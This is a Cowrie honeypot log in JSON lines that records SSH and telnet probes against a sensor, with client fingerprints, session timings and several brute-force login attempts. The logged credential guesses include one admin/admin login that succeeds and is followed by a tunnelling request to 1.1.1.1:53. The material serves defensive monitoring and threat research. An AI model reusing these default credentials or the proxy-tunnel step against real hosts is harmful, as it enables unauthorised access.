{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz@WSX","message":"login attempt [ftpuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:17.941175Z","src_ip":"187.230.120.231","session":"dbfa23cefa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:19.056419Z","src_ip":"187.230.120.231","session":"dbfa23cefa3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca370130884e","protocol":"telnet","message":"New connection: 45.58.127.90:35840 (10.17.0.5:23) [session: ca370130884e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:20.337576Z"}
{"eventid":"cowrie.session.closed","duration":31.45336127281189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:23.509121Z","src_ip":"213.63.236.79","session":"7a50a70d9629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.638397216796875,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:25.476462Z","src_ip":"147.182.143.59","session":"de91761b1af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34700,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ea04818e0b","protocol":"telnet","message":"New connection: 45.58.127.90:34700 (10.17.0.5:23) [session: 02ea04818e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:30.582272Z"}
{"eventid":"cowrie.session.closed","duration":30.815757751464844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:46.198886Z","src_ip":"213.63.236.79","session":"a3f4a8eeb784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84897828102112,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:51.060471Z","src_ip":"45.58.127.90","session":"70f516ee4477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83802032470703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:51.175500Z","src_ip":"45.58.127.90","session":"ca370130884e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.07744383811951,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:51.253814Z","src_ip":"45.58.127.90","session":"b2d825500f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58532,"dst_ip":"10.17.0.5","dst_port":23,"session":"8453984ba948","protocol":"telnet","message":"New connection: 45.58.127.90:58532 (10.17.0.5:23) [session: 8453984ba948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:51.768696Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d7bbca8358","protocol":"telnet","message":"New connection: 45.58.127.90:58548 (10.17.0.5:23) [session: 09d7bbca8358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:51:58.038624Z"}
{"eventid":"cowrie.session.closed","duration":33.78133153915405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:04.363512Z","src_ip":"45.58.127.90","session":"02ea04818e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59878,"dst_ip":"159.203.135.109","dst_port":23,"session":"0332b95b5cc4","protocol":"telnet","message":"New connection: 147.182.143.59:59878 (159.203.135.109:23) [session: 0332b95b5cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:09.440296Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1b0e1bcbef","protocol":"telnet","message":"New connection: 45.58.127.90:60002 (10.17.0.5:23) [session: cb1b0e1bcbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:11.597019Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":55776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b9a115e834","protocol":"ssh","message":"New connection: 187.230.120.231:55776 (10.17.0.5:22) [session: f7b9a115e834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:13.340369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:13.345615Z","src_ip":"187.230.120.231","session":"f7b9a115e834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:13.443026Z","src_ip":"187.230.120.231","session":"f7b9a115e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"123","message":"login attempt [test_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:13.855573Z","src_ip":"187.230.120.231","session":"f7b9a115e834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ccad7d7054e","protocol":"telnet","message":"New connection: 45.58.127.90:60012 (10.17.0.5:23) [session: 1ccad7d7054e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:13.860774Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:14.954406Z","src_ip":"187.230.120.231","session":"f7b9a115e834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60024,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d256887d13","protocol":"telnet","message":"New connection: 45.58.127.90:60024 (10.17.0.5:23) [session: 53d256887d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:16.421104Z"}
{"eventid":"cowrie.session.closed","duration":12.73507046699524,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:22.175224Z","src_ip":"147.182.143.59","session":"0332b95b5cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43746,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e6282fe8f9","protocol":"telnet","message":"New connection: 45.58.127.90:43746 (10.17.0.5:23) [session: 40e6282fe8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:22.932895Z"}
{"eventid":"cowrie.session.closed","duration":35.98231339454651,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:27.750889Z","src_ip":"45.58.127.90","session":"8453984ba948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:30.046647Z","src_ip":"47.239.15.75","session":"09398f26f60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.959447383880615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:33.997963Z","src_ip":"45.58.127.90","session":"09d7bbca8358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59000,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdefaaa1a2c2","protocol":"telnet","message":"New connection: 45.58.127.90:59000 (10.17.0.5:23) [session: bdefaaa1a2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:37.287917Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8dc96b593fa","protocol":"telnet","message":"New connection: 45.58.127.90:44058 (10.17.0.5:23) [session: f8dc96b593fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:50.964888Z"}
{"eventid":"cowrie.session.closed","duration":42.956384897232056,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:56.817066Z","src_ip":"45.58.127.90","session":"1ccad7d7054e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.27100324630737,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:56.867932Z","src_ip":"45.58.127.90","session":"cb1b0e1bcbef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.675313234329224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:58.608105Z","src_ip":"45.58.127.90","session":"40e6282fe8f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.62492489814758,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:52:59.045898Z","src_ip":"45.58.127.90","session":"53d256887d13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67e163c1f22","protocol":"telnet","message":"New connection: 45.58.127.90:43856 (10.17.0.5:23) [session: e67e163c1f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:17.713021Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55766,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce8b53426b0","protocol":"telnet","message":"New connection: 45.58.127.90:55766 (10.17.0.5:23) [session: 2ce8b53426b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:21.171796Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55770,"dst_ip":"10.17.0.5","dst_port":23,"session":"883cedf6b734","protocol":"telnet","message":"New connection: 45.58.127.90:55770 (10.17.0.5:23) [session: 883cedf6b734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:22.037582Z"}
{"eventid":"cowrie.session.closed","duration":47.70317244529724,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:24.990984Z","src_ip":"45.58.127.90","session":"bdefaaa1a2c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":46842,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a05fe71247","protocol":"ssh","message":"New connection: 47.239.15.75:46842 (159.203.135.109:22) [session: 49a05fe71247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:28.170952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:28.176032Z","src_ip":"47.239.15.75","session":"49a05fe71247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.23793315887451,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:32.202709Z","src_ip":"45.58.127.90","session":"f8dc96b593fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b38d1790f05","protocol":"telnet","message":"New connection: 45.58.127.90:39384 (10.17.0.5:23) [session: 6b38d1790f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:42.035604Z"}
{"eventid":"cowrie.session.closed","duration":5.880143880844116,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:47.915629Z","src_ip":"45.58.127.90","session":"6b38d1790f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12778377532959,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:53.840656Z","src_ip":"45.58.127.90","session":"e67e163c1f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6756,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce199f398ee4","protocol":"ssh","message":"New connection: 87.251.64.176:6756 (10.17.0.5:22) [session: ce199f398ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:53.972893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:53.978161Z","src_ip":"87.251.64.176","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:54.075515Z","src_ip":"87.251.64.176","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:54.363612Z","src_ip":"87.251.64.176","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:54.463682Z","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:54.562449Z","src_ip":"87.251.64.176","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:54.663201Z","src_ip":"87.251.64.176","session":"ce199f398ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.255311489105225,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:53:59.426995Z","src_ip":"45.58.127.90","session":"2ce8b53426b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.966421127319336,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:01.003886Z","src_ip":"45.58.127.90","session":"883cedf6b734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c711aac2d63","protocol":"telnet","message":"New connection: 45.58.127.90:39226 (10.17.0.5:23) [session: 4c711aac2d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:24.872112Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a87952490a","protocol":"telnet","message":"New connection: 45.58.127.90:39210 (10.17.0.5:23) [session: 18a87952490a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:24.888843Z"}
{"eventid":"cowrie.session.closed","duration":3.395449161529541,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:28.284182Z","src_ip":"45.58.127.90","session":"18a87952490a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42808,"dst_ip":"10.17.0.5","dst_port":23,"session":"26673d0fd654","protocol":"telnet","message":"New connection: 45.58.127.90:42808 (10.17.0.5:23) [session: 26673d0fd654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:38.997395Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"702d88621d52","protocol":"telnet","message":"New connection: 45.58.127.90:38530 (10.17.0.5:23) [session: 702d88621d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:52.373357Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":50268,"dst_ip":"10.17.0.5","dst_port":22,"session":"106c9fe16074","protocol":"ssh","message":"New connection: 79.104.0.82:50268 (10.17.0.5:22) [session: 106c9fe16074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:54.094414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:54.099673Z","src_ip":"79.104.0.82","session":"106c9fe16074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:54.254377Z","src_ip":"79.104.0.82","session":"106c9fe16074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test03","password":"123456","message":"login attempt [test03/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:54.898882Z","src_ip":"79.104.0.82","session":"106c9fe16074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:54:56.055074Z","src_ip":"79.104.0.82","session":"106c9fe16074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.15624737739563,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:08.028235Z","src_ip":"45.58.127.90","session":"4c711aac2d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37818,"dst_ip":"159.203.135.109","dst_port":22,"session":"1041fb686d09","protocol":"ssh","message":"New connection: 47.239.15.75:37818 (159.203.135.109:22) [session: 1041fb686d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:10.047811Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cae9902482","protocol":"telnet","message":"New connection: 147.182.143.59:60480 (159.203.135.109:23) [session: d2cae9902482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:11.716806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:55:16.836687Z","src_ip":"47.239.15.75","session":"1041fb686d09","protocol":"ssh"}
